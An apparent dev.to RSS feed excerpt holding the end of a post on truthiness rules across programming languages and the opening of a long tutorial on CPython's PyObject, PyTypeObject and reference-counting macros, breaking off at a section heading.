◗ Because of this, constructs like if (someString) or if (someObject) work, even if the value isn’t strictly true or false.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ruby&lt;/strong&gt;
◗ Ruby’s rule is simpler: only false and nil are falsy. Everything else — even 0, "", empty arrays — is truthy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PHP&lt;/strong&gt;
◗ "", "0", 0, 0.0, (), undef → falsy&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Perl&lt;/strong&gt;
◗ "", "0", 0, 0.0, (), undef → falsy&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lua&lt;/strong&gt;
◗ only false and nil are falsy
◗ everything else → truthy&lt;/li&gt;
&lt;li&gt;Shell Scripting (bash, sh)
◗ Commands return exit codes;
◗ 0 = truthy, non-zero = falsy (Completely reversed from typical languages.)&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Languages where truthiness is &lt;em&gt;not&lt;/em&gt; allowed or is very limited
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Java&lt;/strong&gt;
◗ if ("hello") → compile error
◗ Must use: if (someBooleanExpression)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;C / C++ (modern style)&lt;/strong&gt;
◗ C itself treats 0 as false and non-zero as true — but that’s not real “truthiness,” it’s integer coercion, not object truth value.
◗ Anything that’s not an integer must be explicitly converted.
◗ C++ (modern) is stricter:
◗ You cannot do: if (“abc”) // error in modern compilers&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;C#&lt;/strong&gt;
◗ Very strict. if ("text") → compile error&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Go&lt;/strong&gt;
◗ Bans truthiness completely.
◗ You &lt;em&gt;must&lt;/em&gt; write:if len(s) &amp;gt; 0 { … }
◗ You cannot do: if s { … } // error&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rust&lt;/strong&gt;
◗ Same as Go, No truthiness.
◗ You must explicitly compare or convert. if my_vec.is_empty() { … }&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Swift&lt;/strong&gt;
◗ you cannot use arbitrary types in an if condition — the expression must evaluate to a Boolean type. For example, if [] { ... } or if 0 { ... } won’t compile.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TypeScript (in strict mode)&lt;/strong&gt;
◗ JS has truthiness, but TypeScript tries hard to warn you.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;What these language comparison tells us is that,&lt;/strong&gt;
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Not all “truthiness” rules are the same across languages.&lt;/strong&gt; What counts as falsy in one might be truthy in another.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Even languages with truthiness may treat containers differently.&lt;/strong&gt; For example, JS considers even empty arrays as [] as truthy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Type coercion vs strict boolean types:&lt;/strong&gt; Some languages like C treat (0 vs non-zero) as (false vs true), but that’s integer coercion, not truthiness in the modern sense.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because of all these nuances and caveats, you &lt;strong&gt;can’t&lt;/strong&gt; assume a universal “ &lt;strong&gt;truthiness rule&lt;/strong&gt; ”, Always check the language spec or docs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Truthiness&lt;/strong&gt; isn’t a flaw — it’s one of Python’s most flexible features. But like anything powerful in programming, it can betray you if you don’t fully understand it.&lt;br&gt;&lt;br&gt;
 As the quote goes:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;‘Great power comes with great responsibilities.’&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




</description>
      <category>python</category>
      <category>learning</category>
      <category>programming</category>
      <category>code</category>
    </item>
    <item>
      <title>CPython Object Model and Reference Counting — Trying to make sense of PyObject and PyTypeObject</title>
      <dc:creator>Yehan Wasura</dc:creator>
      <pubDate>Fri, 26 Sep 2025 13:21:24 +0000</pubDate>
      <link>https://dev.to/rezsat/cpython-object-model-and-reference-counting-trying-to-make-sense-of-pyobject-and-pytypeobject-4nn3</link>
      <guid>https://dev.to/rezsat/cpython-object-model-and-reference-counting-trying-to-make-sense-of-pyobject-and-pytypeobject-4nn3</guid>
      <description>&lt;h3&gt;
  
  
  CPython Object Model and Reference Counting — Trying to make sense of PyObject and PyTypeObject
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Falkqgjh4bj7lfd21utz6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Falkqgjh4bj7lfd21utz6.png" alt="CPython Object Model and Reference Counting — Trying to make sense of PyObject and PyTypeObjec" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before starting, I think I should say that this article is quite long, and take some breaks within sections to understand everything properly and also there are interactive code examples which you should try, especially if you are new to these topics, let me also try to answer the inevitable question:&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Why should anyone care about this?&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;For me, it’s about intellectual satisfaction and academic interest. I simply want to understand my tools better. Python is my go-to language for everything; it’s the language of my life, so knowing it more deeply makes me happy.&lt;/p&gt;

&lt;p&gt;For others, or perhaps even for you, there might be different reasons. But if you’ve just stumbled upon this and are wondering why you should care, let me share some insights that might pique your interest:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Write More Performant Python Code:&lt;/strong&gt; By knowing how objects are allocated and deallocated and how references impact memory, you can write code that is more memory-efficient and avoids unnecessary overhead.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Debug Memory-Related Issues More Effectively:&lt;/strong&gt; Understanding reference counting is crucial for identifying and resolving memory leaks, excessive memory consumption and unexpected object lifetimes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Optimize C Extensions for Python:&lt;/strong&gt; If you’re writing C extensions to improve performance or interact with low-level libraries, a deep understanding of PyObject and reference counting is absolutely essential for correct memory management and avoiding crashes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Contribute to CPython Development:&lt;/strong&gt; For those aspiring to contribute to the Python core or develop sophisticated tools that interact deeply with the interpreter, this knowledge is a prerequisite.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Understand Advanced Python Concepts:&lt;/strong&gt; Many advanced Python features, such as metaclasses, descriptors, and the gcmodule, become much clearer when you grasp the underlying object model.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Make Informed Architectural Decisions:&lt;/strong&gt; When designing large-scale Python applications, knowing the implications of object creation, immutability, and memory management helps you make better choices for data structures and overall system design.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enhance Cybersecurity Understanding:&lt;/strong&gt; This knowledge is crucial for identifying, analyzing, and fixing security vulnerabilities in Python applications and the CPython interpreter itself, especially those related to memory management and object handling. It’s also vital for understanding exploits and malware.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These insights can also be particularly handy for Computer Science students or researchers when learning about programming language implementation as part of their studies.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;(Throughout this article, “Python” exclusively denotes the &lt;strong&gt;CPython&lt;/strong&gt; implementation, which is the main-adopted version of the language). All code examples provided are accessible via a single &lt;strong&gt;Google Colab&lt;/strong&gt; instance at &lt;a href="https://colab.research.google.com/drive/1RfLUdQbQWDMxonA5Zidn4teNKxfLYQ6d?usp=sharing" rel="noopener noreferrer"&gt;https://colab.research.google.com/drive/1RfLUdQbQWDMxonA5Zidn4teNKxfLYQ6d?usp=sharing&lt;/a&gt;, requiring no local setup to run and observe the output. This Colab link will also be periodically reminded in each relevant section. Full code examples within the article will link directly to their corresponding &lt;strong&gt;GitHub Gists&lt;/strong&gt; for easy reference.&lt;/p&gt;

&lt;p&gt;Also Note that, code snippets that I will use by referencing actual source files are simplified for understanding the core behaviors and structure, the actual implementation might be very different at first glance due to having extra code for optimizations and all.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Now that we have a reason, let’s get started!&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The Base: PyObject/PyVarObject and Memory Management
&lt;/h3&gt;

&lt;h4&gt;
  
  
  A. The Heart of Everything: PyObject/PyVarObject and PyObject_HEAD/PyObject_VAR_HEAD
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;“&lt;em&gt;Everything is an object in python&lt;/em&gt;”,&lt;/strong&gt; this is not merely a high-level abstraction; it translates directly into the fundamental architecture of its reference implementation, CPython. Every Python object is represented as a C structure, specifically PyObjectbeginning with a standardized header. At minimum, this header includes a &lt;strong&gt;reference count&lt;/strong&gt; and a pointer to the object’s &lt;strong&gt;type.&lt;/strong&gt; In C these are encapsulated by the macros PyObject_HEAD and PyObject_VAR_HEAD. For example, in CPython’s source (in Include/object.h), the core idea is that a &lt;strong&gt;fixed-size&lt;/strong&gt; object’s header is conceptually structured as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;_object&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;PyObject_HEAD&lt;/span&gt; &lt;span class="cm"&gt;/* macro expanding to ob_refcnt and ob_type */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;PyObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And a &lt;strong&gt;variable-sized object:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;PyObject_VAR_HEAD&lt;/span&gt; &lt;span class="cm"&gt;/* includes ob_refcnt, ob_type, and ob_size */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;PyVarObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Specifically, PyObject_HEAD expands to&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;Py_ssize_t&lt;/span&gt; &lt;span class="n"&gt;ob_refcnt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;_typeobject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ob_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Often aliased as PyTypeObject*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means that, at its most fundamental level, the PyObject structure directly contains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Py_ssize_t&lt;/span&gt; &lt;span class="n"&gt;ob_refcnt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* object reference count */&lt;/span&gt;
    &lt;span class="n"&gt;PyTypeObject&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;ob_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* object type */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;PyObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And similarly, PyObject_VAR_HEAD expands to PyObjectHEAD followed by Py_ssize_t ob_size;, making PyVarObject conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Py_ssize_t&lt;/span&gt; &lt;span class="n"&gt;ob_refcnt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* object reference count */&lt;/span&gt;
    &lt;span class="n"&gt;PyTypeObject&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;ob_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* object type */&lt;/span&gt;
    &lt;span class="n"&gt;Py_ssize_t&lt;/span&gt; &lt;span class="n"&gt;ob_size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* number of items in variable part (e.g., list length) */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;PyVarObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;(Note: While these typedef examples illustrate the fundamental structure after macro expansion, the actual CPython source (e.g., in Include/object.h) achieves this through a more layered approach where PyVarObject embeds a PyObject as its base, and macros like PyObject_HEAD are primarily used when defining &lt;em&gt;other&lt;/em&gt; object types to ensure they start with these common fields. But this is fine for our simple understanding purposes.)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This means &lt;em&gt;every&lt;/em&gt; Python object has an ob_refcnt (its reference count) and ob_type (pointer to its PyTypeObject). Variable-sized objects (like list or tuples) uses PyObject_VAR_HEAD, which adds a Py_ssize_t ob_size field for its length. Thus, the &lt;strong&gt;memory layout&lt;/strong&gt; of an object always begins with these fields, and the order of this layout is fixed; first ob_refcnt, then the ob_type pointer, followed by ob_size(if variable-sized), and then any instance-specific fields. CPython internally aligns these fields according to the platform’s Application Binary Interface (ABI).&lt;/p&gt;

&lt;p&gt;It is important to note that while all Python objects conceptually begin with this structure, nothing is explicitly declared as a PyObject. Instead, any pointer to a Python object can be safely cast to a PyObject *, giving a consistent interface to the most fundamental object properties.&lt;/p&gt;

&lt;p&gt;For stability across Python versions and to ensure binary compatibility for C extensions, direct member access to ob_refcnt, ob_type or ob_size is strongly discouraged. CPython provides specific macros like Py_REFCNT(obj), Py_TYPE(obj), and Py_SIZE(obj)for this purpose. The use of these macros is a critical mechanism to maintain ABI stability, ensuring that even if the internal layout of these core structures changes in future CPython versions, existing C extensions do not require recompilation (pretty sick heh). This fosters a stable and evolving ecosystem.&lt;/p&gt;

&lt;h4&gt;
  
  
  B. Core Memory Management: Reference Counting
&lt;/h4&gt;

&lt;blockquote&gt;
&lt;p&gt;CPython’s primary &lt;strong&gt;memory-management&lt;/strong&gt; strategy is &lt;strong&gt;reference counting.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The ob_refcnt field (Py_ssize_t), in which the reference counting heavily relies on, is a counter that tracks the number of " &lt;strong&gt;strong&lt;/strong&gt;" references pointing to the object.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The CPython API distinguishes between “ &lt;strong&gt;strong&lt;/strong&gt; ” (or “ &lt;strong&gt;owned&lt;/strong&gt; ”) and “ &lt;strong&gt;borrowed&lt;/strong&gt; ” references. A “ &lt;strong&gt;strong&lt;/strong&gt; ” reference implies that the &lt;strong&gt;holder is responsible for decrementing the object’s reference count&lt;/strong&gt; when the reference is &lt;strong&gt;no longer required&lt;/strong&gt;. Functions that return “ &lt;strong&gt;new references&lt;/strong&gt; ” provide &lt;strong&gt;strong references&lt;/strong&gt;. In contrast, a “ &lt;strong&gt;borrowed&lt;/strong&gt; ” reference signifies that the &lt;strong&gt;holder does not own the reference and, critically, should &lt;em&gt;not&lt;/em&gt; decrement its count&lt;/strong&gt;. These are typically temporary views into an object.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When a new reference to an object is created, its ob_refcnt must be incremented (Py_INCREF); when a reference is released, it must be decremented (Py_DECREF). The CPython runtime exposes macros and functions for this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Py_INCREF(op): Increment op-&amp;gt;ob_refcnt.&lt;/li&gt;
&lt;li&gt;Py_DECREF(op): Decrement op-&amp;gt;ob_refcnt; if the count becomes zero, it triggers the object's deallocation process.&lt;/li&gt;
&lt;li&gt;Py_XINCREF(op) / Py_XDECREF(op): Like the above, but first checks if op is not NULL, avoiding null-pointer dereferences.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the source, these are defined as below (simplified for clarity, as the actual code includes debug accounting macros) :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#define Py_INCREF(op) (((PyObject*)(op))-&amp;gt;ob_refcnt++)
#define Py_DECREF(op) do { \
    if (--((PyObject*)(op))-&amp;gt;ob_refcnt != 0) \
        ; &lt;/span&gt;&lt;span class="cm"&gt;/* still live */&lt;/span&gt;&lt;span class="cp"&gt; \
    else \
        _Py_Dealloc((PyObject*)(op)); \
} while (0)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Thus, &lt;strong&gt;when&lt;/strong&gt; Py_DECREF &lt;strong&gt;drops the reference count to zero, it invokes&lt;/strong&gt; _Py_Dealloc, which in turn calls the object’s tp_dealloc function. As the C API documentation notes, "&lt;em&gt;Once the last strong reference is released… the object’s type’s deallocation function (which must not be NULL) is invoked.&lt;/em&gt;"&lt;/p&gt;

&lt;p&gt;Because forgetting to update reference counts causes leaks (if too few decrements) or crashes (if too many and the object gets freed prematurely), the rule is: &lt;strong&gt;every code path that creates or holds a reference must ensure a matching&lt;/strong&gt; INCREF / DECREF . For example, when assigning an object to a new holder, one might do Py_INCREF(obj); holder-&amp;gt;attr = obj;. Python’s C-API docs advise always wrapping pointer assignments with these macros. In code, a safer pattern when setting fields in a tp_dealloc or tp_clear function is to use Py_CLEAR , which does a safe null-checked DECREF:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#define Py_CLEAR(op) do { \
    if ((op) != NULL) { \
        PyObject *_tmp = (PyObject*)(op); \
        (op) = NULL; \
        Py_DECREF(_tmp); \
    } \
} while(0)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is recommended to avoid subtle bugs, such as if the deallocation triggered new code that re-accessed the pointer. It is &lt;strong&gt;essential&lt;/strong&gt; to use Py_INCREF and Py_DECREF (or their X variants) rather than manipulating ob_refcnt directly, as these macros handle crucial nuances like debug hooks and immortal objects, ensuring correctness. The "X" variants (Py_XINCREF / Py_XDECREF) simply do nothing if passed a NULL, avoiding the need for explicit null checks before calling them. Python’s C API docs summarize their role: "&lt;em&gt;Py_INCREF indicates taking a new strong reference…&lt;/em&gt; &lt;em&gt;Py_DECREF releases a strong reference. When done using the object, release it by calling&lt;/em&gt; &lt;em&gt;Py_DECREF&lt;/em&gt;."&lt;/p&gt;

&lt;p&gt;The embedding of ob_refcnt directly within the PyObject header is a deliberate architectural choice. This physical proximity ensures that reference count operations are highly efficient, enabling the prompt release of memory as soon as an object is no longer referenced. This design prioritizes immediate resource cleanup for the vast majority of objects. For C extension developers, correctly managing this count is paramount to prevent insidious memory leaks or catastrophic use-after-free errors.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The Link to Behavior: “ob_type“ and the “PyTypeObject” Blueprint
&lt;/h3&gt;

&lt;p&gt;The behavior and layout of an object’s data come from its &lt;em&gt;type object&lt;/em&gt;. Every type in CPython is represented by a PyTypeObject structure. This structure begins with PyObject_VAR_HEAD so type objects themselves are full python objects, and yes type is an instance of itself (I know, it’s pretty Ziggazagga, yeah I don’t think that’s a word.&lt;strong&gt;)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So, as discussed in 1-A, PyObject_HEAD has this ob_type field, which is the link or the pointer to that object’s type information. Yes, now you understand why I used that word up there.&lt;/p&gt;

&lt;h4&gt;
  
  
  A. The Link to Type Information
&lt;/h4&gt;

&lt;p&gt;The ob_type field (PyTypeObject*) is a pointer to the object’s type object. This pointer is the basically how the CPython achieves polymorphism and dynamic typing. Every object “knows” its type, and through that type, it understands its intrinsic behavior like its methods, its attributes, and supported operations.&lt;/p&gt;

&lt;p&gt;For instance, an Integer object’s ob_type member points to &amp;amp;PyLong_Type, a string object's to &amp;amp;PyUnicode_Type, instances of user-defined classes will point to their corresponding PyTypeObject. This ob_type pointer forms the very foundation of Python's dynamic typing and object-oriented features at the C level. By centralizing behavioral definitions in PyTypeObject, the interpreter can dispatch calls and resolve attributes at runtime without requiring explicit type checks for every operation, which underpins Python's "duck typing" philosophy; “If it walks like a duck and it quacks like a duck, then it must be a duck.” thing, anyway that’s something to talk later, I’m quickly getting distracted writing this.&lt;/p&gt;

&lt;h4&gt;
  
  
  B. The Comprehensive Behavioral Blueprint (An Introduction to PyTypeObject)
&lt;/h4&gt;

&lt;p&gt;We talked about that Ziggazagga thing earlier, signifying that type objects themselves are full Python objects. And how type (the metaclass for all types) is an instance of itself, conceptually embodying this recursive nature within the interpreter. Now let’s take a look at the definition of PyTypeObject (in Include/object.h) :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;_typeobject&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;PyObject_VAR_HEAD&lt;/span&gt; &lt;span class="cm"&gt;/* ob_refcnt, ob_type (metatype), ob_size */&lt;/span&gt;
    &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;tp_name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* type name, e.g. "int", "module.Class" */&lt;/span&gt;
    &lt;span class="n"&gt;Py_ssize_t&lt;/span&gt; &lt;span class="n"&gt;tp_basicsize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* instance size in bytes */&lt;/span&gt;
    &lt;span class="n"&gt;Py_ssize_t&lt;/span&gt; &lt;span class="n"&gt;tp_itemsize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* for var-sized objects (e.g. tuple) */&lt;/span&gt;

    &lt;span class="cm"&gt;/* Methods to implement standard operations (examples) */&lt;/span&gt;
    &lt;span class="n"&gt;destructor&lt;/span&gt; &lt;span class="n"&gt;tp_dealloc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* how to free an instance */&lt;/span&gt;
    &lt;span class="cm"&gt;/* ... many more fields for attribute access, etc. ... */&lt;/span&gt;
    &lt;span class="n"&gt;initproc&lt;/span&gt; &lt;span class="n"&gt;tp_init&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* __init__ : initialize new instances */&lt;/span&gt;
    &lt;span class="n"&gt;allocfunc&lt;/span&gt; &lt;span class="n"&gt;tp_alloc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* memory allocator for instances */&lt;/span&gt;
    &lt;span class="n"&gt;newfunc&lt;/span&gt; &lt;span class="n"&gt;tp_new&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* __new__ : create and return new instances */&lt;/span&gt;
    &lt;span class="n"&gt;freefunc&lt;/span&gt; &lt;span class="n"&gt;tp_free&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* low-level deallocation of memory */&lt;/span&gt;
    &lt;span class="n"&gt;inquiry&lt;/span&gt; &lt;span class="n"&gt;tp_is_gc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/* support for cyclic GC */&lt;/span&gt;
    &lt;span class="cm"&gt;/* ... */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;PyTypeObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yeah, there is a lot. These fields serve as pointers to C functions or contain vital metadata, effectively encoding all the behavior of a type. Like tp_name stores the human readable name of the type (ex: “int”, “str”, “MyBadClass”). Fields like tp_basicsize and tp_itemsize determines the memory allocation needs for instances of this type. tp_new and tp_init are correspond to Python’s __new__ and __init__ methods, which does the object creation and initialization. More specifically, the tp_new points to a function that is responsible for allocating and returning a fresh instance (usually by calling PyObject_New or PyObject_NewVar)&lt;/p&gt;

&lt;p&gt;The tp_dealloc function is what cleans up the object, when an object’s reference count drops to zero (it’s what you call a “destructor function”, so essentially tp_dealloc is a pointer to this function). Let’s look at a custom extension type implementation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;
    &lt;span class="nf"&gt;foo_dealloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;foo_object&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="cm"&gt;/* release contained references, possibly via Py_CLEAR() */&lt;/span&gt;
        &lt;span class="n"&gt;Py_XDECREF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;inner_ref&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="cm"&gt;/* call tp_free to free memory */&lt;/span&gt;
        &lt;span class="n"&gt;Py_TYPE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;tp_free&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PyObject&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The tp_free function is typically PyObject_Del (if object was allocated with PyObject_New ) or PyObject_GC_Del (for GC tracked objects) .&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“The destructor function is called by the Py_DECREF() and Py_XDECREF()macros when the new reference count is zero. … The destructor should free all references the instance owns, free any memory buffers owned by the instance, and call the type’s tp_free function.” — excerpt from the doc: &lt;a href="https://docs.python.org/3/c-api/typeobj.html" rel="noopener noreferrer"&gt;https://docs.python.org/3/c-api/typeobj.html&lt;/a&gt; — specifically from &lt;a href="https://docs.python.org/3/c-api/typeobj.html#:~:text=The%20destructor%20function%20is%20called,The%20object%20deallocator%20should" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And fields like tp_is_gc determines if the type participates in cyclic garbage collection. If so, the runtime will also call the type’s tp_traverse and tp_clear functions when collecting cycles.&lt;/p&gt;

&lt;p&gt;This honestly is just merely scratching the surface of PyTypeObject‘s capabilities. In the following sections, we will dive more into Structure, Semantics and Object Lifecycle Management like things and gets our hands dirty with some real coding.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Deep into PyTypeObject — Structure, Semantics and LifeCycle
&lt;/h3&gt;

&lt;h4&gt;
  
  
  A. The “tp slots”: A Comprehensive Look at Type Behavior
&lt;/h4&gt;

